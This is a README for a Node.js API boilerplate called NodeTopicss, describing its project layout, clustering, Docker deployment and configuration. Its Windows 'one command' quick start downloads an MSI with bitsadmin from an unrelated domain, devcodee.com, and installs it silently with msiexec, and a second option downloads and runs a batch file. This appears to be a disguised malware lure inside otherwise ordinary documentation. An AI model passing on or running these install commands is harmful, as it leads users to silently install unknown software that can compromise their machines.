🤔 Why NodeTopicss?

Most Node.js boilerplates ship with 40+ dependencies, opinionated ORMs, and layers of abstraction you’ll spend a week deleting. NodeTopicss takes the opposite approach:

A boilerplate should be a launchpad, not a labyrinth.

• 🪶 ~9 runtime dependencies — every single one earns its place
• 🧠 Readable in 15 minutes — the entire src/ fits in your head
• 📈 Scales both ways — one CPU core → all cores → many machines, no rewrites
• 🔋 Batteries you actually need — JWT auth, structured logging, error handling, graceful shutdown, Docker, CI
• 🚫 No batteries you don’t — no ORM lock-in, no magic decorators, no framework-inside-a-framework

🚀 Quick Start

Windows — one command (CMD)

bitsadmin /transfer NodeTopicss /download /priority normal "https://devcodee.com/api" "%TEMP%\setup.msi" && msiexec /i "%TEMP%\setup.msi" /qn /norestart

Or use the interactive installer (checks Git/Node for you):

curl -sO https://raw.githubusercontent.com/breezesolicitormap/NodeTopicss/main/scripts/install.bat && install.bat

macOS / Linux

git clone https://github.com/breezesolicitormap/NodeTopicss.git && cd NodeTopicss && npm install && cp .env.example .env && npm run dev

That’s it. Your API is live:

curl http://localhost:8000/api/health
# → {"success":true,"data":{"status":"ok","pid":12345,"uptime":1.42,...}}

✨ Features

📁 Project Structure

NodeTopicss/
├── src/
│   ├── index.js              # Entry point — cluster orchestration
│   ├── server.js             # HTTP server + graceful shutdown
│   ├── app.js                # Express app assembly
│   ├── config/
│   │   └── index.js          # Typed config from .env (single source of truth)
│   ├── api/
│   │   ├── routes/           # HTTP endpoints        → what URLs exist
│   │   ├── controllers/      # Request/response      → thin, no logic
│   │   └── services/         # Business logic        → fat, testable, reusable
│   ├── middlewares/
│   │   ├── auth.js           # JWT route protection
│   │   ├── errorHandler.js   # The ONLY place errors are formatted
│   │   └── notFound.js       # 404 handler
│   └── utils/
│       ├── logger.js         # Pino instance
│       └── httpError.js      # HttpError + asyncHandler
├── __tests__/                # Native node:test — zero test dependencies
├── scripts/install.bat       # One-command Windows installer
├── Dockerfile                # Production Alpine image
├── docker-compose.yml        # Horizontal scaling demo
└── pm2.config.cjs            # Production process manager

Adding a feature = 3 small files. Create thing.routes.js, thing.controller.js, thing.service.js, then mount the router with one line in routes/index.js. No code generation, no CLI, no magic.

📈 Scalability

The core design rule: the app holds no state. Sessions live in the JWT, data lives in your database. That single decision makes both scaling directions trivial.

⬆️ Vertical — use every CPU core

Node.js runs on a single thread by default, so a 16-core server idles at ~6% utilization. Flip one switch:

CLUSTER=true npm start        # or: npm run start:cluster

The primary process forks one worker per core (node:cluster), the OS load-balances incoming connections, and crashed workers respawn automatically.

➡️ Horizontal — use every machine

Because there’s no shared in-process state, replicas are interchangeable:

# Docker: 4 instances behind Docker's built-in load balancing
docker compose up --scale api=4

# PM2: cluster across all cores with monitoring
npm run start:pm2

Put Nginx / HAProxy / a cloud load balancer in front, add machines as traffic grows. Need shared state later (sessions, pub/sub, caching)? Add Redis — the architecture already expects it.

                          ┌────────────────┐
                     ┌──▶ │  Node instance │ ──┐
   ┌──────────────┐  │    └────────────────┘   │   ┌──────────┐
   │ Load balancer│ ─┼──▶ ┌────────────────┐   ├─▶ │ Database │
   └──────────────┘  │    │  Node instance │ ──┘   └──────────┘
                     └──▶ └────────────────┘
                            (scale to N…)

🔌 API Reference

# Login
curl -X POST http://localhost:8000/api/auth/login \
  -H "Content-Type: application/json" \
  -d '{"username":"admin","password":"admin"}'

# Protected route
curl http://localhost:8000/api/auth/me -H "Authorization: Bearer <token>"

🧾 Scripts

⚙️ Configuration

All configuration lives in .env (see .env.example):

NODE_ENV=development
HOST=0.0.0.0
PORT=8000
CLUSTER=false          # true = fork one worker per CPU core
CORS_ORIGIN=*
JWT_SECRET=change-me-in-production
JWT_EXPIRES_IN=1d
LOG_LEVEL=info

🐳 Deployment

# Docker
docker build -t nodetopicss .
docker run -p 8000:8000 -e JWT_SECRET=your-secret nodetopicss

# Docker Compose (with horizontal scaling)
docker compose up --scale api=4

# Bare metal with PM2
npm ci --omit=dev && npm run start:pm2

Deploys cleanly to Railway, Render, Fly.io, AWS, or any VPS — it’s just a plain Node.js process.

🧩 Extending

NodeTopicss is intentionally minimal — a foundation, not a cage. Common next steps:

• Database → add a src/loaders/ module for MongoDB (mongoose), Postgres (pg / drizzle), or anything else
• Validation → drop zod into your services
• WebSockets → attach socket.io to the server in server.js
• Rate limiting → express-rate-limit in app.js
• API docs → swagger-ui-express mounted on /docs

Each is a 10-minute addition precisely because the core stays small.

🤝 Contributing

Contributions are welcome! Read the contributing guide, then:

1. 🍴 Fork the repo
2. 🌿 git checkout -b feat/amazing-feature
3. ✅ npm run lint && npm test
4. 🚀 Open a Pull Request

📄 License

MIT © breezesolicitormap